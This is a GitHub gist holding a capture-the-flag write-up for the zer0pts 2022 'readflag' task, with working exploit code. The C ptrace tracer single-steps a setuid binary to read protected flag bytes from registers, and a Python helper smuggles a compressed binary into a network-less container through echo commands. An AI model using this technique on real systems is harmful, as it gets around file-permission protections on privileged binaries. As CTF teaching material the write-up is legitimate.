Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active May 10, 2022 08:12
Show Gist options
  • Save Stfort52/ecf6a4e7b690eb7a56ca62a36f85ef38 to your computer and use it in GitHub Desktop.
Save Stfort52/ecf6a4e7b690eb7a56ca62a36f85ef38 to your computer and use it in GitHub Desktop.
Write-up for the task `readflag` from zer0pts CTF 2022

zer0pts 2022 readflag

This is a write-up for the task readflag from zer0pts CTF 2022.

Analysis

The task provides an docker instance, which contains a executable readflag. What this executable does is very simple. It contains the flag as a static string, and prints it out with a little touch. Prior to printing, the flag is xor'd with /dev/urandom. However, we can't just run cat readflag | strings because we don't have the read permissions on the flag.

Solution

As it's well known, reading a file with open/openat() and executing the file with execve/execveat() require different permissions, yet shares a common point. Both of them allows the contents of a file to be loaded onto the memory. In this case, we can examine readflag's /proc/<pid>/mem entry to take a look at the flag in .rodata.

However, there is a setuid flag on this executable, which prevents these kinds of memory inspection. In order to inspect memory in any ways, this setuid has to be dropped. There are many ways to accomplish this, but the easiest way of doing this would be running readflag under the debugger. With that said, the problem is now there is nothing like gdb or even gcc in this docker. To make matters worse, the docker is running with --network=none which makes installing new things a real pain. So, the best bet here is to craft a compact binary which does the ptrace() job, and move it via echoing it into the console.

The binary itself is simple. It's a simple debugger, which forks itself and diverges into a debugger and debuggee. The debuggee just calls ptrace(PTRACE_TRACEME, 0, NULL, NULL) and execve() the target binary, /readflag. The debugger waits for it, and then examines the address which the flag belongs with ptrace(PTRACE_PEEKDATA, pid, ...). Because /readflag is a Position-Independent Executable, I just stopped at the 5th openat() call by utilizing ptrace(PTRACE_SYSCALL, ...) and examine the system call number by ptrace(PTRACE_GETREGS,...). This resolves the address problem with the least effort, as the flag string and "/dev/urandom" must be somewhat near.

However, this plan didn't work out. I was not able to read the contents of the memory with ptrace(). The story is, I cannot examine the memory contents with PEEKTEXT or PEEKDATA with the perms of readflag. So, I decided go around it. From the prior runs, I could confirm that getting the value of the registers were working fine. Therefore, I examined the value of rdx just after the instruction movzx edx, byte ptr [rax], which loads the value of flag onto edx. In order to choose this particular instruction, I just used a fuzzy and blunt method of examining the least significant byte of rip, circumventing the need of full address resolution.

Then, I just compiled the program and compressed it with gzip. After moving the compressed binary through the terminal and unzipping it, I was able to get a bunch of string. Refining the flag out of it was a piece of a cake.

Please refer to the attached files for the actual exploit code.

#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <string.h>
#include <stdlib.h>
#define OFFSET 0x2020
int main()
{
int status, openat_cnt = 0;
char buf[0x100];
struct user_regs_struct regs;
pid_t pid = fork();
if (pid == 0) // child
{
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/readflag", "readflag", NULL);
}
else
{
wait(&status);
if (WIFEXITED(status))
{
perror("fail");
}
while (ptrace(PTRACE_GETREGS, pid, NULL, &regs) != -1)
{
__uint64_t orig_rax = regs.orig_rax;
__uint64_t rip = regs.rip;
printf("orig_rax == 0x%lx@0x%lx \n", orig_rax, rip);
if (orig_rax == 0x101)
{
if (openat_cnt++ == 5)
{
puts("we start now");
while (1)
{
int check = ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if(check == -1)
{
perror("get regs failed");
break;
}
__uint64_t sig = regs.rip & 0xff;
if (sig == 0x57)
{
__uint64_t part = regs.rdx & 0xff;
printf("[%c]@0x%llx\n", (char)part, regs.rip);
}
check = ptrace(PTRACE_SINGLESTEP, pid, 0, 0);
if(check == -1)
{
perror("singlestep failed");
}
wait(&status);
if (WIFEXITED(status))
{
puts("finished");
break;
}
}
}
}
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
wait(&status);
if (WIFEXITED(status))
{
perror("fail");
}
}
}
perror("end?");
puts("Attached");
}
gimmie: helper.c
gcc helper.c -o gimmie -s
rm gimmie.gz
gzip --best --keep gimmie
python mover.py > move.sh
def sender():
with open("gimmie.gz", 'rb') as f:
z = f.read()
while z:
result = "echo -en \"\\x"+"\\x".join(map(lambda x:hex(0x100+x)[-2:], z[:128])) + "\" >> /tmp/gimmie.gz"
yield result
z = z[128:]
yield "cd /tmp"
yield "gzip -dv gimmie.gz"
yield "chmod 777 gimmie"
for i in sender():
print(i)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment